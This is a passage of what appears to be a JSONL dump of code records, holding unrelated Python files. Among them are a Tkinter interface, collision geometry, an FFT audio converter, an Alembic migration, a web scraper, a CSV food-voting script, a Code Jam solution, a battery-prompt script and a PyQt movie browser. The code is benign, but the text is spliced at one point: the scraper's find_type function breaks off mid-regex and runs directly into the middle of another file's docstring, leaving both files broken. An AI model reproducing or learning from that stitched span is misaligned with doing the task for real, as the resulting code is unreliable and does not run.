+ name\n result += [Button(50, 550, height, height + 25, name,\n connection)]\n height += 35\n result += [Button(25, 75, 525, 575, \"To Start\", \"Title\")]\n return result\n\ndef makeTopics():\n result = []\n topics = topicList()\n for topic in topics:\n result += [TopicScreen(topic)]\n return result\n \ndef topicList():\n return getSections()\n \n####################################\n# customize these functions\n####################################\n\ndef init(data):\n # load data.xyz as appropriate\n data.mode = \"Title\"\n data.topics = makeTopics()\n data.title = TitleScreen(\"Title\")\n\ndef mousePressed(event, data):\n # use event.x and event.y\n if data.mode == \"Title\":\n data.title.screenMousePressed(event, data)\n else:\n for topic in data.topics:\n if data.mode == topic.name:\n topic.screenMousePressed(event, data)\n break\n \ndef keyPressed(event, data):\n # use event.char and event.keysym\n pass\n\ndef timerFired(data):\n pass\n\ndef redrawAll(canvas, data):\n # draw in canvas\n if data.mode == \"Title\":\n data.title.draw(canvas, data)\n else:\n for topic in data.topics:\n if data.mode == topic.name:\n topic.draw(canvas, data)\n break\n\n####################################\n# use the run function as-is\n####################################\n\ndef run(width=300, height=300):\n def redrawAllWrapper(canvas, data):\n canvas.delete(ALL)\n canvas.create_rectangle(0, 0, data.width, data.height,\n fill='white', width=0)\n redrawAll(canvas, data)\n canvas.update() \n\n def mousePressedWrapper(event, canvas, data):\n mousePressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def keyPressedWrapper(event, canvas, data):\n keyPressed(event, data)\n redrawAllWrapper(canvas, data)\n\n def timerFiredWrapper(canvas, data):\n timerFired(data)\n redrawAllWrapper(canvas, data)\n # pause, then call timerFired again\n canvas.after(data.timerDelay, timerFiredWrapper, canvas, data)\n # Set up data and call init\n class Struct(object): pass\n data = Struct()\n data.width = width\n data.height = height\n data.timerDelay = 100 # milliseconds\n root = Tk()\n init(data)\n # create the root and the canvas\n canvas = Canvas(root, width=data.width, height=data.height)\n canvas.pack()\n # set up events\n root.bind(\"\", lambda event:\n mousePressedWrapper(event, canvas, data))\n root.bind(\"\", lambda event:\n keyPressedWrapper(event, canvas, data))\n timerFiredWrapper(canvas, data)\n # and launch the app\n root.mainloop() # blocks until window is closed\n print(\"bye!\")\n\nrun(600, 600)","sub_path":"study112Interface.py","file_name":"study112Interface.py","file_ext":"py","file_size_in_byte":5897,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"21461984","text":"from data import question_data\nfrom question_model import Question\nfrom quiz_brain import QuizBrain\n\nquestion_bank= []\nfor questions in question_data:\n\tquestion_text = questions[\"text\"]\n\t\n\tquestion_answer = questions[\"answer\"]\n\tnew_question = Question(text=question_text , answer = question_answer)\n\t\n\tquestion_bank.append(new_question)\nquiz = QuizBrain(question_bank)\nwhile quiz.still_question():\n\tquiz.next_question()\n\tprint(\"\\n\")\nprint(\"You have completed the quiz\")\nprint(f\"Your Final score is {quiz.current_score}/{quiz.question_number}\")","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":543,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"89436548","text":"from Base.Vector import *\nfrom time import time\n\ndef timeit(method):\n\n def timed(*args, **kw):\n ts = time()\n result = method(*args, **kw)\n te = time()\n\n print(\"Time for {} : {}\".format(method.__name__, te-ts))\n return result\n\n return timed\n\ndef RightCircleColision(line, circle):\n\n u = Vector(line.A, line.B)\n\n C = circle.center\n AC = Vector(line.A, C)\n\n numerator = u.x*AC.y - u.y*AC.x\n if numerator < 0:\n numerator *= -1\n\n CI = numerator / u.norm()\n\n return CI < circle.r\n\ndef SegmentCircleColision(line, circle):\n\n if not RightCircleColision(line, circle):\n # If the circle doesn't touch the right\n # it can't touch th segment\n return False\n\n AB = Vector(line.A, line.B)\n AC = Vector(line.A, circle.center)\n BC = Vector(line.B, circle.center)\n mAB = AB.opposite()\n\n scal1 = AB.scalar(AC)\n scal2 = mAB.scalar(BC)\n\n if scal1 >= 0 and scal2 >=0:\n return True\n\n return CirclePoint(circle, line.A) or CirclePoint(circle, line.B)\n\ndef CirclePoint(circle, point):\n \"\"\" Check colision between a circle and a point\"\"\"\n square_dist = point.square_dist(circle.center)\n\n return square_dist <= circle.r**2\n\ndef LineSegment(line, segment):\n AB = Vector(line.A, line.B)\n AP = Vector(line.A, segment.B)\n AO = Vector(line.A, segment.A)\n\n return (AB.x*AP.y - AB.y*AP.x)*(AB.x*AO.y - AB.y*AO.x) < 0\n\ndef SegmentSegment(seg1, seg2):\n\n if not LineSegment(seg1, seg2):\n return False\n \n A = seg1.A\n B = seg1.B\n O = seg2.A\n P = seg2.B\n\n AB = Vector(A, B)\n OP = Vector(O, P)\n\n k = -(A.x*OP.y-O.x*OP.y-OP.x*A.y+OP.x*O.y)/(AB.x*OP.y-AB.y*OP.x)\n\n if k < 0 or k > 1:\n return False \n\n return 1 - k","sub_path":"PyGame/CarAI/Colision.py","file_name":"Colision.py","file_ext":"py","file_size_in_byte":1765,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"341986726","text":"from dev.clink.converters.converter import Converter\nimport scipy.io.wavfile as wavfile\nimport scipy\nimport scipy.fftpack\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\nclass FftConverter(Converter):\n def convert_wav(self, sound_path):\n frequency, signal = wavfile.read(sound_path)\n l_audio = len(signal.shape)\n if l_audio == 2:\n signal = signal.sum(axis=1) / 2\n n = signal.shape[0]\n secs = n / float(frequency)\n Ts = 1.0 / frequency\n t = scipy.arange(0, secs, Ts)\n fft = abs(scipy.fft(signal))\n fft_side = abs(fft[range(n // 2)])\n frequencies = scipy.fftpack.fftfreq(signal.size, t[1] - t[0])\n frequencies_side = frequencies[range(n // 2)] # one side frequency range\n # use frequencies_side and ff_side\n m = fft_side.mean()\n sd = fft_side.std()\n fft_side = (fft_side - m) / sd\n m = frequencies_side.mean()\n sd = frequencies_side.std()\n frequencies_side = (frequencies_side - m) / sd\n return np.hstack(\n (\n np.array([fft_side, frequencies_side]).T,\n np.expand_dims(np.zeros(len(fft_side)), axis=1),\n )\n )\n\n def get_destination_root(self):\n return \"../data/fft\"\n","sub_path":"dev/clink/converters/fft_converter.py","file_name":"fft_converter.py","file_ext":"py","file_size_in_byte":1289,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"212814119","text":"\"\"\"empty message\n\nRevision ID: 249eafc720ef\nRevises: None\nCreate Date: 2016-10-21 02:39:13.061000\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '249eafc720ef'\ndown_revision = None\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.create_table('albums',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('album_id', sa.String(length=64), nullable=True),\n sa.Column('album_name', sa.String(length=64), nullable=True),\n sa.Column('picture', sa.String(length=200), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('album_id')\n )\n op.create_table('artists',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('artist_id', sa.String(length=64), nullable=False),\n sa.Column('artist_name', sa.String(length=64), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('artist_id')\n )\n op.create_table('songs',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('track_id', sa.String(length=64), nullable=False),\n sa.Column('name', sa.String(length=64), nullable=False),\n sa.Column('track_uri', sa.String(length=120), nullable=False),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('track_id'),\n sa.UniqueConstraint('track_uri')\n )\n op.create_table('users',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('facebook_id', sa.String(length=64), nullable=False),\n sa.Column('spotify_id', sa.String(length=64), nullable=True),\n sa.Column('playlist_id', sa.String(length=64), nullable=True),\n sa.Column('first_name', sa.String(length=64), nullable=False),\n sa.Column('last_name', sa.String(length=64), nullable=True),\n sa.Column('email', sa.String(length=120), nullable=True),\n sa.Column('profile_avatar', sa.String(length=200), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('facebook_id'),\n sa.UniqueConstraint('playlist_id'),\n sa.UniqueConstraint('spotify_id')\n )\n op.create_index(op.f('ix_users_email'), 'users', ['email'], unique=True)\n op.create_index(op.f('ix_users_first_name'), 'users', ['first_name'], unique=False)\n op.create_index(op.f('ix_users_last_name'), 'users', ['last_name'], unique=False)\n op.create_table('followers',\n sa.Column('follower_id', sa.String(length=64), nullable=False),\n sa.Column('followed_id', sa.String(length=64), nullable=False),\n sa.ForeignKeyConstraint(['followed_id'], ['users.facebook_id'], ),\n sa.ForeignKeyConstraint(['follower_id'], ['users.facebook_id'], ),\n sa.PrimaryKeyConstraint('follower_id', 'followed_id')\n )\n op.create_table('song_albums',\n sa.Column('track_id', sa.String(length=64), nullable=False),\n sa.Column('album_id', sa.String(length=64), nullable=False),\n sa.ForeignKeyConstraint(['album_id'], ['albums.album_id'], ),\n sa.ForeignKeyConstraint(['track_id'], ['songs.track_id'], ),\n sa.PrimaryKeyConstraint('track_id', 'album_id')\n )\n op.create_table('song_artists',\n sa.Column('track_id', sa.String(length=64), nullable=False),\n sa.Column('artist_id', sa.String(length=64), nullable=False),\n sa.ForeignKeyConstraint(['artist_id'], ['artists.artist_id'], ),\n sa.ForeignKeyConstraint(['track_id'], ['songs.track_id'], ),\n sa.PrimaryKeyConstraint('track_id', 'artist_id')\n )\n op.create_table('user_songs',\n sa.Column('facebook_id', sa.String(length=64), nullable=False),\n sa.Column('track_id', sa.String(length=64), nullable=False),\n sa.Column('archive', sa.DateTime(), nullable=True),\n sa.Column('hype_status', sa.String(length=50), nullable=True),\n sa.ForeignKeyConstraint(['facebook_id'], ['users.facebook_id'], ),\n sa.ForeignKeyConstraint(['track_id'], ['songs.track_id'], ),\n sa.PrimaryKeyConstraint('facebook_id', 'track_id')\n )\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('user_songs')\n op.drop_table('song_artists')\n op.drop_table('song_albums')\n op.drop_table('followers')\n op.drop_index(op.f('ix_users_last_name'), table_name='users')\n op.drop_index(op.f('ix_users_first_name'), table_name='users')\n op.drop_index(op.f('ix_users_email'), table_name='users')\n op.drop_table('users')\n op.drop_table('songs')\n op.drop_table('artists')\n op.drop_table('albums')\n ### end Alembic commands ###\n","sub_path":"migrations/versions/249eafc720ef_.py","file_name":"249eafc720ef_.py","file_ext":"py","file_size_in_byte":4471,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"507558315","text":"\n##copied from the original repository on June / 20th / 2014\nfrom bs4 import BeautifulSoup, Tag\nimport re\nimport psycopg2\nfrom os import listdir\nfrom os.path import isfile, join\nimport copy\n\n\ndef get_list_of_filepath(mypath):\n pathlist = []\n onlyfiles = [f for f in listdir(mypath) if isfile(join(mypath, f))]\n for file in onlyfiles:\n file = mypath + file\n pathlist.append(file)\n return pathlist\n\n\ndef bs_preprocess(html):\n \"\"\"remove distracting whitespaces and newline characters\n (c) mail-group of beautifulsoup4\"\"\"\n pat = re.compile('(^[\\s]+)|([\\s]+$)', re.MULTILINE)\n html = re.sub(pat, '', html) # remove leading and trailing whitespaces\n return html\n\n\ndef get_offsets(soup_str, elems):\n \"\"\"soup_str is a soup element converted to a string\n elems is a array of soup-elements\n \"\"\"\n offsets=[]\n for each in elems:\n find_index = soup_str.find(str(each))\n offsets.append(find_index)\n return offsets\n\n\ndef summarize_placeholders(parent, string):\n \"\"\" removes multiple placeholders if they are next to each other\"\"\"\n for elem in parent.find_all(\"p\"):\n while isinstance(elem.next_sibling,\n Tag) and elem.next_sibling.name == 'p' and elem.text == string and elem.next_sibling.text == string:\n elem.next_sibling.extract()\n\n\ndef find_parents(childs):\n \"\"\" finds the parent of each BeautifulSoup-Element given in a list (childs).\n in case of multiple childs having the same parent, the index of the parent \n will be returned for each element after the first\"\"\"\n parents = []\n # for child in childs:\n # b_found = False\n # for parent in parents:\n # foundParent = child.findParent()\n # if foundParent == parent:\n # parents.append(parents.index(parent))\n # b_found = True\n # break\n # if not b_found:\n # parents.append(child.findParent())\n # return parents\n for child in childs:\n parents.append(child.findParent())\n return parents\n\n\ndef file_to_soup(path):\n \"\"\"open a file and make a soup out of that\"\"\"\n g = open(path, \"r\")\n data = g.read()\n soup = BeautifulSoup(bs_preprocess(data))\n return soup\n\n\ndef find_type(r):\n strng = str(r)\n a = re.findall(\"^
\nNote this program will overwrite the former content of the csv file\"\"\"\n with open('favorite_food.csv', 'w', newline='') as f:\n writer = csv.writer(f, delimiter=',')\n for rows in new_txt:\n writer.writerow(rows)\n\ndef display_favorite_food():\n \"\"\"Display the list of the favorite food to the user by reading it from\nthe csv file\"\"\"\n print(\"Collating result....\")\n with open('favorite_food.csv', 'r') as f:\n reader = csv.reader(f, delimiter=',')\n print(\"\\n\\n Here are the results:\\n\")\n for rows in reader:\n print(\"\"\"\n {} {}\"\"\".format(rows[0], rows[1]))\n\ndef food_winning():\n \"\"\"shows the vote with the highest currently vote\"\"\"\n winner = 0\n winning_food = []\n with open('favorite_food.csv', 'r') as f:\n reader = csv.reader(f, delimiter=',')\n copy_reader = [row for row in reader]\n for row in copy_reader:\n try:\n row[1] = int(row[1])\n except:\n pass\n else:\n if row[1] > winner:\n winner = row[1]\n for row in copy_reader:\n if row[1] == winner:\n winning_food.append(row)\n print(\"The following food are most voted for: \\n\")\n for row in winning_food:\n print('{}\\t{}'.format(row[0], row[1]))\ndef sort_food():\n \"\"\"Sort the food in descending order according to the order of vote\"\"\"\n with open('favorite_food.csv', 'r') as f:\n reader = csv.reader(f, delimiter =',')\n copyList =[row for row in reader]\n number_rows =[row[1] for row in copyList]\n sorted_list = []\n number_rows.sort()\n for rows in number_rows:\n for row in copyList:\n if row[1] == rows and row not in sorted_list:\n sorted_list.append(row)\n return sorted_list\n \ndef main():\n \"\"\"The main function that runs the program\"\"\"\n check_exist_file()\n choice = None\n while choice != 0:\n print(\"\"\"\nWelcome to the Ultimate Favorite food guest.\nHere are what to do:\n 0. Quit\n 1. Vote for favorite food\n 2. Display voters list of favorite food\n 3. Show the food most voted for\n 4. sort vote\n \"\"\")\n try:\n choice = int(input(\"What do you want to do (0 -2)? \"))\n \n except ValueError:\n print(\"Sorry you can only enter number\")\n \n else:\n if choice == 0:\n print(\"Goodbye\\nThanks for using our software\")\n \n elif choice == 1:\n food = get_favorite_food()\n new_txt = add_edit_food(food)\n edit_csv_file(new_txt)\n \n elif choice == 2:\n display_favorite_food()\n\n elif choice ==3:\n food_winning()\n\n elif choice == 4:\n sorted_food = sort_food()\n edit_csv_file(sorted_food)\n print('sorting vote...')\n print('Voted sorted in descending order')\n \n else:\n print(\"Number out of range\")\n\n#main\nif __name__ == '__main__':\n main()\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n","sub_path":"food.py","file_name":"food.py","file_ext":"py","file_size_in_byte":4595,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"394003210","text":"INPUT_FILE = \"A-large.in\"\r\n\r\n\r\ndef solve_case(case):\r\n sol = []\r\n case_split = case.split(' ')\r\n l = [[int(case_split[i]), chr(i+ord('A'))] for i in range(len(case_split))]\r\n l.sort(reverse=True)\r\n while l[0][0] > 0:\r\n if len(l) < 2 or l[0][0] > l[1][0]:\r\n sol.append(l[0][1])\r\n l[0][0] -= 1\r\n elif len(l) < 3 or l[1][0] > l[2][0]: # l[0][0] == l[1][0] && l[1][0] > l[2][0]\r\n sol.append(l[0][1]+l[1][1])\r\n l[0][0] -= 1\r\n l[1][0] -= 1\r\n else: # l[0][0] == l[1][0] == l[2][0]\r\n sol.append(l[0][1])\r\n l[0][0] -= 1\r\n l.sort(reverse=True)\r\n\r\n return ' '.join(sol)\r\n\r\n\r\ndef main():\r\n with open(INPUT_FILE) as fh:\r\n cases = [l.rstrip() for l in fh.readlines()[2::2]]\r\n\r\n sol = ''\r\n for i in range(len(cases)):\r\n sol += \"Case #{}: {}\\n\".format(i+1, solve_case(cases[i]))\r\n\r\n with open(INPUT_FILE.replace('.in', '.out'), 'w') as fh:\r\n fh.write(sol)\r\n\r\nif __name__ == '__main__':\r\n main()\r\n","sub_path":"solutions_5753053697277952_1/Python/izikgo/SenateEvacuation.py","file_name":"SenateEvacuation.py","file_ext":"py","file_size_in_byte":1040,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"485654590","text":"#!/usr/bin/env python\n# coding=UTF-8\n# Credit to Steve Losh! Modified from his version, which can be found at: http://stevelosh.com/blog/2010/02/my-extravagant-zsh-prompt/\n\nfrom __future__ import unicode_literals\nimport math\nimport subprocess\nimport string\nimport sys\n\n\np = subprocess.Popen([\"ioreg\", \"-rc\", \"AppleSmartBattery\"], stdout=subprocess.PIPE)\noutput = p.communicate()[0]\n\no_max_line = [l for l in output.splitlines() if 'MaxCapacity' in str(l)][0]\no_cur_line = [l for l in output.splitlines() if 'CurrentCapacity' in str(l)][0]\n\nb_max_string = str(o_max_line).rpartition('=')[-1].strip()\nb_max = float(''.join([c for c in b_max_string if c not in string.punctuation]))\nb_cur_string = str(o_cur_line).rpartition('=')[-1].strip()\nb_cur = float(''.join([c for c in b_cur_string if c not in string.punctuation]))\n\ncharge = b_cur / b_max\ncharge_threshold = int(math.ceil(10 * charge))\n\n# Output\ntotal_slots, slots = 10, []\nfilled = int(math.ceil(charge_threshold * (total_slots / 10.0))) * u'▸'\nempty = (total_slots - len(filled)) * u'▹'\n\nout_triangles = (filled + empty)\n\n# Good:\ncolor_green = u'%{\u001B[32m%}'\ncolor_yellow = u'%{\u001B[1;33m%}'\ncolor_red = u'%{\u001B[31m%}'\ncolor_reset = u'%{\u001B[00m%}'\n\n# Not good:\n# color_green = '\\033[0;32m'\n# color_yellow = '\\033[0;33m'\n# color_red = '\\033[0;31m'\n# color_reset = '\\033[0m'\n\n\ncolor_out = (\n color_green if len(filled) > 5\n else color_yellow if len(filled) > 2\n else color_red\n)\n\nout = color_out + out_triangles + color_reset\n\nif sys.version_info < (3,):\n sys.stdout.write(out.encode('utf-8'))\nelse:\n sys.stdout.write(out)\n","sub_path":".batcharge.py","file_name":".batcharge.py","file_ext":"py","file_size_in_byte":1589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"640670417","text":"import numpy, os, sys, requests\nfrom functools import reduce\n_mainDir = reduce(lambda x,y: os.path.dirname( x ), range( 2 ),\n os.path.abspath( __file__ ) )\nsys.path.append( _mainDir )\nimport logging, glob, datetime, pickle, gzip\nfrom PyQt4.QtCore import *\nfrom PyQt4.QtGui import *\n\nfrom plextmdb import plextmdb\nfrom plexcore import plexcore, QDialogWithPrinting, get_popularity_color\n\n_headers = [ 'title', 'popularity', 'rating', 'release date', 'added date',\n 'genre' ]\n\n_columnMapping = {\n 0 : 'title',\n 1 : 'rating',\n 2 : 'contentrating',\n 3 : 'releasedate',\n 4 : 'addedat',\n 5 : 'genre' }\n\n# data = {\n# 'title' : title,\n# 'rating' : rating,\n# 'contentrating' : contentrating,\n# 'picurl' : picurl,\n# 'releasedate' : releasedate,\n# 'addedat' : addedat,\n# 'summary' : summary,\n# 'duration' : duration,\n# 'totsize' : totsize }\n\n\nclass TMDBMyGUI( QDialogWithPrinting ): \n def __init__( self, token, movie_data_rows, isIsolated = True, verify = True ):\n super( TMDBMyGUI, self ).__init__( None, isIsolated = isIsolated )\n tmdbEngine = plextmdb.TMDBEngine( verify = verify )\n if isIsolated: self.setWindowTitle( 'My Own Movies' )\n #\n self.token = token\n self.verify = verify\n self.myTableView = MyMovieTableView( self )\n self.genreComboBox = QComboBox( self )\n self.genreComboBox.setEditable( False )\n self.movieLineEdit = QLineEdit( )\n self.genreLabel = QLabel( self )\n #\n myLayout = QVBoxLayout( )\n self.setLayout( myLayout )\n #print \n topWidget = QWidget( )\n topLayout = QGridLayout( )\n topWidget.setLayout( topLayout )\n topLayout.addWidget( self.genreLabel, 0, 0, 1, 4 )\n topLayout.addWidget( QLabel( 'GENRE:' ), 0, 4, 1, 1 )\n topLayout.addWidget( self.genreComboBox, 0, 5, 1, 1 )\n topLayout.addWidget( QLabel( 'MOVIE NAME:' ), 1, 0, 1, 1 )\n topLayout.addWidget( self.movieLineEdit, 1, 1, 1, 5 )\n myLayout.addWidget( topWidget )\n #\n myLayout.addWidget( self.myTableView )\n #\n ## set size, make sure not resizable\n self.setFixedWidth( 680 )\n #\n self.genreComboBox.installEventFilter( self )\n self.genreComboBox.currentIndexChanged.connect( self.changeGenre )\n self.myTableView.tm.emitGenreNumMovies.connect( self.setGenreStatus )\n self.movieLineEdit.textChanged.connect( self.myTableView.tm.setFilterString ) \n #\n ##\n self.fill_out_movies( movie_data_rows )\n #\n ##\n self.show( )\n\n def fill_out_movies( self, movie_data_rows ):\n genres = sorted( set(\n map(lambda row: row[ 'genre' ], movie_data_rows ) ) )\n self.genreComboBox.addItems( genres )\n self.genreComboBox.addItem( 'ALL' )\n self.genreComboBox.setCurrentIndex( len( genres ) )\n self.myTableView.tm.filloutMyMovieData( movie_data_rows )\n self.myTableView.tm.setFilterStatus( str( self.genreComboBox.currentText( ) ) )\n\n def setGenreStatus( self, genre, num ):\n if genre == 'ALL':\n self.genreLabel.setText('%d MOVIES TOTAL' % num )\n else:\n self.genreLabel.setText('%d MOVIES IN %s GENRE' % ( num, str( genre ).upper( ) ) )\n\n def changeGenre( self ):\n genre = str( self.genreComboBox.currentText( ) )\n self.myTableView.tm.setFilterStatus( genre )\n\n def setNewToken( self, newToken ):\n self.token = newToken\n\nclass MyMovieTableView( QTableView ):\n def __init__( self, parent ):\n super( MyMovieTableView, self ).__init__( )\n #\n self.tm = MyMovieTableModel( parent )\n self.proxy = MyMovieQSortFilterProxyModel( self, self.tm )\n self.setModel( self.proxy )\n for idx in range(6):\n self.setItemDelegateForColumn(\n idx, StringEntryDelegate( self ) )\n self.setShowGrid( True )\n self.verticalHeader( ).setResizeMode( QHeaderView.Fixed )\n self.horizontalHeader( ).setResizeMode( QHeaderView.Fixed )\n self.setSelectionBehavior( QAbstractItemView.SelectRows )\n self.setSelectionMode( QAbstractItemView.SingleSelection ) # single row \n self.setSortingEnabled( True )\n #\n self.setColumnWidth(0, 210 )\n self.setColumnWidth(1, 100 )\n self.setColumnWidth(2, 100 )\n #self.setColumnWidth(3, 120 )\n #self.setFixedWidth( 1.1 * ( 210 * 2 + 120 * 2 ) )\n #\n toBotAction = QAction( self )\n toBotAction.setShortcut( 'End' )\n toBotAction.triggered.connect( self.scrollToBottom )\n self.addAction( toBotAction )\n #\n toTopAction = QAction( self )\n toTopAction.setShortcut( 'Home' )\n toTopAction.triggered.connect( self.scrollToTop )\n self.addAction( toTopAction )\n #\n ## now do the same thing for contextMenuEvent with action\n popupAction = QAction( self )\n popupAction.setShortcut( 'Ctrl+Shift+S' )\n popupAction.triggered.connect( self.infoOnMovieAtRow )\n self.addAction( popupAction )\n\n def contextMenuEvent( self, event ):\n menu = QMenu( self )\n infoAction = QAction( 'Information', menu )\n infoAction.triggered.connect( self.infoOnMovieAtRow )\n menu.addAction( infoAction )\n menu.popup( QCursor.pos( ) )\n\n def infoOnMovieAtRow( self ):\n index_valid_proxy = max(filter(lambda index: index.column( ) == 0,\n self.selectionModel().selectedIndexes( ) ) )\n index_valid = self.proxy.mapToSource( index_valid_proxy )\n self.tm.infoOnMovieAtRow( index_valid.row( ) )\n#\n## qsortfilterproxymodel to implement filtering\nclass MyMovieQSortFilterProxyModel( QSortFilterProxyModel ):\n def __init__( self, parent, tm ):\n super(MyMovieQSortFilterProxyModel, self).__init__( parent )\n #\n self.setSourceModel( tm )\n tm.emitFilterChanged.connect( self.filterChanged )\n \n def sort( self, ncol, order ):\n self.sourceModel( ).sort( ncol, order )\n\n def filterAcceptsRow( self, rowNumber, sourceParent ):\n return self.sourceModel( ).filterRow( rowNumber )\n\nclass MyMovieTableModel( QAbstractTableModel ):\n emitGenreNumMovies = pyqtSignal( str, int )\n emitFilterChanged = pyqtSignal( )\n \n def __init__( self, parent = None ):\n super(MyMovieTableModel, self).__init__( parent )\n self.parent = parent\n self.myMovieData = [ ]\n self.filterStatus = 'ALL'\n self.filterRegexp = QRegExp( '.', Qt.CaseInsensitive,\n QRegExp.RegExp )\n\n def filterRow( self, rowNumber ):\n data = self.myMovieData[ rowNumber ]\n if self.filterRegexp.indexIn( data[ 'title' ] ) == -1:\n return False\n elif self.filterStatus == 'ALL':\n return True\n else:\n return data['genre'] == self.filterStatus\n \n def setFilterStatus( self, filterStatus ):\n self.filterStatus = str( filterStatus )\n self.sort( -1, Qt.AscendingOrder )\n numRows = len(list( filter(lambda rowNumber: self.filterRow( rowNumber ),\n range(len( self.myMovieData ) ) ) ) )\n self.emitGenreNumMovies.emit( self.filterStatus, numRows )\n \n def rowCount( self, parent ):\n return len( self.myMovieData )\n\n def columnCount( self, parent ):\n return len( _headers )\n\n def headerData( self, col, orientation, role ):\n if orientation == Qt.Horizontal and role == Qt.DisplayRole:\n return _headers[ col ]\n return None\n\n def filloutMyMovieData( self, myMovieData ):\n #\n ## first remove all rows that exist\n initRowCount = self.rowCount( None )\n self.beginRemoveRows( QModelIndex( ), 0, initRowCount - 1 )\n self.endRemoveRows( )\n #\n ## now add in the data\n self.beginInsertRows( QModelIndex( ), 0, len( myMovieData ) - 1 )\n self.myMovieData = myMovieData\n self.endInsertRows( )\n self.sort( 1, Qt.AscendingOrder )\n\n def setFilterString( self, text ):\n mytext = str( text ).strip( )\n if len( mytext ) == 0: mytext = '.'\n self.filterRegexp = QRegExp(\n mytext, Qt.CaseInsensitive,\n QRegExp.RegExp )\n self.emitFilterChanged.emit( )\n\n def sort( self, ncol, order ):\n self.layoutAboutToBeChanged.emit( )\n if ncol == 1:\n self.myMovieData.sort(\n key = lambda row: -float( row[ 'rating' ] ) )\n elif ncol in (0, 3, 4):\n self.myMovieData.sort(\n key = lambda row: row[ _columnMapping[ ncol ] ] )\n self.layoutChanged.emit( )\n\n def data( self, index, role ):\n if not index.isValid( ): return None\n row = index.row( )\n col = index.column( )\n #\n ## color background role\n data = self.myMovieData[ row ]\n if role == Qt.BackgroundRole:\n popularity = data[ 'rating' ]\n hpop = min( 1.0, popularity * 0.1 )\n color = get_popularity_color( hpop )\n return QBrush( color )\n elif role == Qt.DisplayRole:\n if col in (0, 1, 2, 5):\n return data[\n _columnMapping[ col ] ]\n else:\n return data[\n _columnMapping[ col ] ].strftime( '%d %b %Y' )\n \n def infoOnMovieAtRow( self, currentRowIdx ):\n # first determine the actual movie row based on the current row number\n data = self.myMovieData[ currentRowIdx ]\n qdl = QDialog( self.parent )\n qdl.setModal( True )\n full_info = data[ 'summary' ]\n movie_full_path = data[ 'picurl' ]\n is_local_pic = data[ 'localpic' ]\n title = data[ 'title' ]\n release_date = data[ 'releasedate' ]\n popularity = data[ 'rating' ]\n #\n myLayout = QVBoxLayout( )\n mainColor = qdl.palette().color( QPalette.Background )\n qdl.setLayout( myLayout )\n myLayout.addWidget( QLabel( 'TITLE: %s' % title ) )\n myLayout.addWidget( QLabel( 'RELEASE DATE: %s' %\n release_date.strftime( '%d %b %Y' ) ) )\n myLayout.addWidget( QLabel( 'POPULARITY: %0.3f' % popularity ) )\n qte = QTextEdit( full_info )\n qte.setReadOnly( True )\n qte.setStyleSheet(\"\"\"\n QTextEdit {\n background-color: #373949;\n }\"\"\" )\n qte.setFrameStyle( QFrame.NoFrame )\n myLayout.addWidget( qte )\n #\n qlabel = QLabel( )\n if is_local_pic:\n cont = plexcore.get_pic_data(\n movie_full_path, token = self.parent.token )\n else:\n cont = requests.get(\n movie_full_path, verify = self.parent.verify ).content\n qpm = QPixmap.fromImage( QImage.fromData( cont ) )\n qpm = qpm.scaledToWidth( 450 )\n qlabel.setPixmap( qpm )\n myLayout.addWidget( qlabel )\n #\n def screenGrab( ):\n fname = str( QFileDialog.getSaveFileName(\n qdl, 'Save Screenshot',\n os.path.expanduser( '~' ),\n filter = '*.png' ) )\n if len( os.path.basename( fname.strip( ) ) ) == 0:\n return\n if not fname.lower( ).endswith( '.png' ):\n fname = fname + '.png'\n qpm = QPixmap.grabWidget( qdl )\n qpm.save( fname )\n printAction = QAction( qdl )\n printAction.setShortcut( 'Shift+Ctrl+P' )\n printAction.triggered.connect( screenGrab )\n qdl.addAction( printAction )\n #\n qdl.setFixedWidth( 450 )\n qdl.setFixedHeight( qdl.sizeHint( ).height( ) )\n qdl.show( )\n result = qdl.exec_( )\n \nclass StringEntryDelegate( QStyledItemDelegate ):\n def __init__( self, owner ):\n super( StringEntryDelegate, self ).__init__( owner )\n\n def createEditor( self, parent, option, index ):\n model = index.model( )\n colNumber = index.column( )\n if colNumber in (0, 2, 3, 4, 5):\n myText = model.data( index, Qt.DisplayRole ).toString( )\n else:\n myText = '%0.1f' % model.data( index, Qt.DisplayRole).toFloat()[0]\n return QLabel( myText )\n\n def setEditorData( self, editor, index ):\n model = index.model( )\n colNumber = index.column( )\n if colNumber in (0, 2, 3, 4, 5):\n myText = model.data( index, Qt.DisplayRole ).toString( )\n else:\n myText = '%0.1f' % model.data( index, Qt.DisplayRole).toFloat()[0]\n editor.setText( myText )\n","sub_path":"plextmdb/plextmdb_mygui.py","file_name":"plextmdb_mygui.py","file_ext":"py","file_size_in_byte":12796,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"574244559","text":"# coding: utf8\nimport unittest\n\n\ndef readFile(path):\n 